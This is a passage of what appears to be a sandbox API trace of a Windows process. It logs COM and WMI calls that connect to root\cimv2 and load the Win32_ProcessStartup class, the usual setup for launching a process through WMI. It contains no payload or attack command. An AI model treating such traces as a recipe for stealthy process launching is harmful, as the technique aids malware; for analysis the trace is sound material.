ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc58ce0) returned 0x0 [0135.655] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58ce0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.655] WbemDefPath:IUnknown:Release (This=0x1bc58ce0) returned 0x3 [0135.655] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0135.655] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0135.655] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0135.655] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x1 [0135.655] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0135.655] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f8c0) returned 0x0 [0135.656] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0135.656] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0135.656] WbemDefPath:IWbemPath:SetText (This=0x1bc3f8c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f8c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f8c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0135.656] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.656] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0135.656] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0135.656] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0135.656] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.658] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc58d20) returned 0x0 [0135.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58d20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0135.658] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58d20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3f980) returned 0x0 [0135.658] WbemDefPath:IUnknown:Release (This=0x1bc58d20) returned 0x0 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3f980) returned 0x0 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0135.659] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc58d60) returned 0x0 [0135.659] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.659] WbemDefPath:IUnknown:Release (This=0x1bc58d60) returned 0x3 [0135.659] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0135.659] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0135.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0135.659] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0135.659] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x1 [0135.659] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0135.660] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0135.660] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3f980) returned 0x0 [0135.660] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0135.660] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0135.660] WbemDefPath:IWbemPath:SetText (This=0x1bc3f980, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0135.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.660] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0135.660] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.660] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0135.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0135.660] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0135.660] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.661] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc58e60) returned 0x0 [0135.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0135.661] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc58e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc58e80) returned 0x0 [0135.662] WbemLocator:IUnknown:Release (This=0x1bc58e60) returned 0x0 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc58e80) returned 0x0 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0135.662] WbemLocator:IUnknown:AddRef (This=0x1bc58e80) returned 0x3 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0135.662] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0135.662] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0135.662] WbemLocator:IUnknown:Release (This=0x1bc58e80) returned 0x2 [0135.662] WbemLocator:IUnknown:Release (This=0x1bc58e80) returned 0x1 [0135.662] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0135.662] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0135.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58e80, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc58e80) returned 0x0 [0135.663] WbemLocator:IUnknown:AddRef (This=0x1bc58e80) returned 0x3 [0135.663] WbemLocator:IUnknown:Release (This=0x1bc58e80) returned 0x2 [0135.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0135.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.663] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc58ea0) returned 0x0 [0135.663] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc58ea0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc64740) returned 0x0 [0136.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64740, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc423e0) returned 0x0 [0136.014] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc423e0, pProxy=0x1bc64740, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0136.014] WbemLocator:IUnknown:Release (This=0x1bc423e0) returned 0x1 [0136.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64740, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42420) returned 0x0 [0136.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64740, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc423e0) returned 0x0 [0136.014] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc423e0, pProxy=0x1bc64740, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0136.014] WbemLocator:IUnknown:Release (This=0x1bc423e0) returned 0x2 [0136.014] WbemLocator:IUnknown:Release (This=0x1bc42420) returned 0x1 [0136.014] CoTaskMemFree (pv=0x1bc6d530) [0136.015] WbemLocator:IUnknown:AddRef (This=0x1bc64740) returned 0x2 [0136.015] WbemLocator:IUnknown:Release (This=0x1bc58ea0) returned 0x0 [0136.015] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0136.015] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0136.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc423f0) returned 0x0 [0136.015] WbemLocator:IRpcOptions:Query (in: This=0x1bc423f0, pPrx=0x1bc58f00, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0136.015] WbemLocator:IUnknown:Release (This=0x1bc423f0) returned 0x2 [0136.016] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0136.016] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0136.016] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64740, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc64740) returned 0x0 [0136.016] WbemLocator:IUnknown:Release (This=0x1bc64740) returned 0x2 [0136.016] SysStringLen (param_1=0x0) returned 0x0 [0136.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0136.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0136.017] IWbemServices:GetObject (in: This=0x1bc64740, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc2b680, ppCallResult=0x0) returned 0x0 [0136.018] IWbemClassObject:Get (in: This=0x1bc2b680, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0136.018] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0136.019] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0136.019] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0136.019] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0136.019] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0136.019] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.021] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc58ea0) returned 0x0 [0136.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58ea0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0136.021] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58ea0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3fa40) returned 0x0 [0136.022] WbemDefPath:IUnknown:Release (This=0x1bc58ea0) returned 0x0 [0136.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3fa40) returned 0x0 [0136.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0136.022] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0136.022] 